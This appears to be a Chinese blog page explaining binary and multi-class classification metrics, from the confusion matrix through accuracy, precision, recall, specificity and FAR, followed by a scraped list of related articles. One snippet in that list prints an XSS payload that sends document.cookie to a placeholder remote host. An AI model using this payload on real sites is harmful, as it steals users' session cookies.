[Machine-Learning] 机器学习中的几个度量指标
Several classification metrics for ML/DM methods.
主要解释下机器学习(或数据挖掘)中的几个度量指标。
1. 关于 "TN/TP/FN/FP"
在预测过程中,经常会出现这几个名词,先是解释下字面意思:
- TN: True Negative (真负),被模型预测为负的样本,模型预测对了
- TP: True Positive (真正),被模型预测为正的样本,模型预测对了
- FN: False Negative (假负),被模型预测为负的样本,模型预测错了
- FP: False Positive (假正),被模型预测为正的样本,模型预测错了
可以看出来,两个字母的后面一个字母(N or P ),是模型预测的结果,而第一个字母(T or N ) 代表的是这个结果的正确与否;下面用一个表格来表示一下:
| Actual Class: X | Actual Class: not X | |
|---|---|---|
| Predicted Class: X | TP | FP |
| Predicted Class: not X | FN | TN |
Table.1: BINARY CONFUSION MATRIX
从上面这个表格中也能比较直观地分辨这4个指标:横轴代表结果实际的情况,而纵轴代表了该例子被模型预测的情况。
2. 常用于二分类问题(监督学习)的度量指标
2.1 准确率 or 正确比例:
Accuracy or Proportion Correct

计算方法:(TN + TP) / (TP + TN + FP + FN)
需要注意的是:当分类问题是平衡(blanced)的时候,准确率可以较好地反映模型的优劣程度,但不适用于数据集不平衡的时候。
例如:分类问题的数据集中本来就有97% 示例是属于X,只有另外3%不属于X,所有示例都被分类成X的时候,准确率仍然高达97%,但这没有任何意义。
2.2 PPV or 正预测值:
PPV = Positive Predictive Value 。

计算方法:TP / ( TP + FP )
模型预测属于X的示例(instance)中,预测正确(真正属于X)的比例。
2.3 召回率 or TP Rate:
Sensitivity(灵敏度) orRecall or True Positive Rate or Probability。

计算方法: TP / (TP + FN)
真正属于X的示例中,成功预测为属于X(TP)的比例。
2.4 NPV or 错误预测正确率:
NPV = Negative Predictive Value

计算方法:TN / (TN + FN)
模型预测不属于X的示例中,预测正确(TN)的比例;那个中文是我自己翻译的,凑活看吧。。。这个和PPV比较像。
2.5 TN Rate:
Specificity or True Negative Rate

计算方法:TN / (TN + FP)
真正不属于X的示例中,被预测成不属于X的示例所占的比例。(已经无力翻译成中文名称了。。。)
2.6 FP rate or FAR or Fall-out:
FAR = 1-Specificity

计算方法:FP / (TN + FP)
真正不属于X的示例中,模型预测成属于X的(预测失败)示例所占的比例。
在分类问题中,在灵敏度和FAR两者之间要保持一个平衡(折中)。这种折中要通过ROC曲线来表示,在Y轴上表示灵敏度,在X轴上表示FAR。 较高的FAR导致较高的灵敏度,较低的FAR导致较低的灵敏度。 通常,FAR不能高于某个数,这就是最终分类器的选择。
3. 多分类问题中的度量指标
- Overall Accuracy:被正确分类的示例在数据集中的比例。
- Class detection rate:来自给定类的例子正确地分类占来自给定类的所有样本得比例。
- Class FAR or class FP rate:一个类别中分类错误(未被分到这个类)的示例占所有不是这个类的示例的比例。
在多分类问题中计算PPV和NPV是可行的,但是通常不这么做
reference
- Anna L. Buczak, Erhan Guven, "A Survey of Data Mining and Machine Learning Methods for Cyber Security Intrusion Detection", IEEE COMMUNICATIONS SURVEYS & TUTORIALS VOL. 18, NO. 2, SECOND QUARTER 2016
[Machine-Learning] 机器学习中的几个度量指标的更多相关文章
- Machine learning | 机器学习中的范数正则化
目录 1. \(l_0\)范数和\(l_1\)范数 2. \(l_2\)范数 3. 核范数(nuclear norm) 参考文献 使用正则化有两大目标: 抑制过拟合: 将先验知识融入学习过程,比如稀疏 ...
- Portal:Machine learning机器学习:门户
Machine learning Machine learning is a scientific discipline that explores the construction and stud ...
- [原创]Machine Learning/机器学习 文章合集
转载请注明出处:https://www.codelast.com/ ➤ 用人话解释机器学习中的Logistic Regression(逻辑回归) ➤ 如何防止softmax函数上溢出(overflow ...
- machine learning----->Amazon Machine Learning机器学习平台
参考资料: 1.如何使用Amazon Machine Learning平台构建你的机器学习预测模型 2.
- 【原】Coursera—Andrew Ng机器学习—课程笔记 Lecture 10—Advice for applying machine learning 机器学习应用建议
Lecture 10—Advice for applying machine learning 10.1 如何调试一个机器学习算法? 有多种方案: 1.获得更多训练数据:2.尝试更少特征:3.尝试更多 ...
- Machine Learning:机器学习算法
原文链接:https://riboseyim.github.io/2018/02/10/Machine-Learning-Algorithms/ 摘要 机器学习算法分类:监督学习.半监督学习.无监督学 ...
- Data Leakage in Machine Learning 机器学习训练中的数据泄漏
refer to: https://www.kaggle.com/dansbecker/data-leakage There are two main types of leakage: Leaky ...
- [Machine Learning] 机器学习常见算法分类汇总
声明:本篇博文根据http://www.ctocio.com/hotnews/15919.html整理,原作者张萌,尊重原创. 机器学习无疑是当前数据分析领域的一个热点内容.很多人在平时的工作中都或多 ...
- 【Machine Learning·机器学习】决策树之ID3算法(Iterative Dichotomiser 3)
目录 1.什么是决策树 2.如何构造一棵决策树? 2.1.基本方法 2.2.评价标准是什么/如何量化评价一个特征的好坏? 2.3.信息熵.信息增益的计算 2.4.决策树构建方法 3.算法总结 @ 1. ...
随机推荐
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
- BizTalk开发系列(十六) XML命名空间
BizTalk开发过程中如果有对XML进行开发操作,比如在自定义代码里操作XML消息或者在Mapping的时候使用Xpath对XML进行操 作.则有机会遇到XML命名空间的问题.常见的是使用Xpath ...
- Cookie案例-显示商品浏览历史纪录
package cn.itcast.cookie; import java.io.IOException; import java.io.PrintWriter; import java.util.D ...
- dom4j解析xml文档(增删改查)
package itcast.dom4j; import java.io.File; import java.io.FileOutputStream; import java.io.FileWrite ...
- 代码规范[iOS]
一.文件系统 二.代码结构 三.常量 宏 四.布局方式 数据持久化 五.网络 六.类目.延展 七.内存.线程 八.其他 九.版本控制.上线相关 十.附录1(公共库) 十一.附录2(公共类目) 十二 ...
- 关于JavaScript的判断语句(1)
if语句: if( 判断条件 ){ 判断结果为true执行语句: } if...else语句: if(判断条件){ 判断结果为true时执行的语句: }else{ 判断结果为false时执行语句: } ...
- Swift声明参考
一条声明可以在你的程序里引入新的名字和构造.举例来说,你可以使用声明来引入函数和方法,变量和常量,或者来定义 新的命名好的枚举,结构,类和协议类型.你也可以使用一条声明来延长一个已经存在的命名好的类型 ...
- JDBC操作
String sql = "SELECT * from lib where name = ?";List<Lib> list = getJdbcTemplate().q ...
- Markdown资源 markd
markdown是将某些格式的文本,翻译成HTML的一个库,非常精妙! https://www.npmjs.com/package/markedhttps://github.com/adam-p/ma ...
- 问题 “No mapping found for HTTP request with URI [/rbiz4/uploadFile.html]” 的解决
从以前的SpringMVC项目简化一下做个例子,结果出现了下面的错误: No mapping found for HTTP request with URI [/rbiz4/uploadFile.ht ...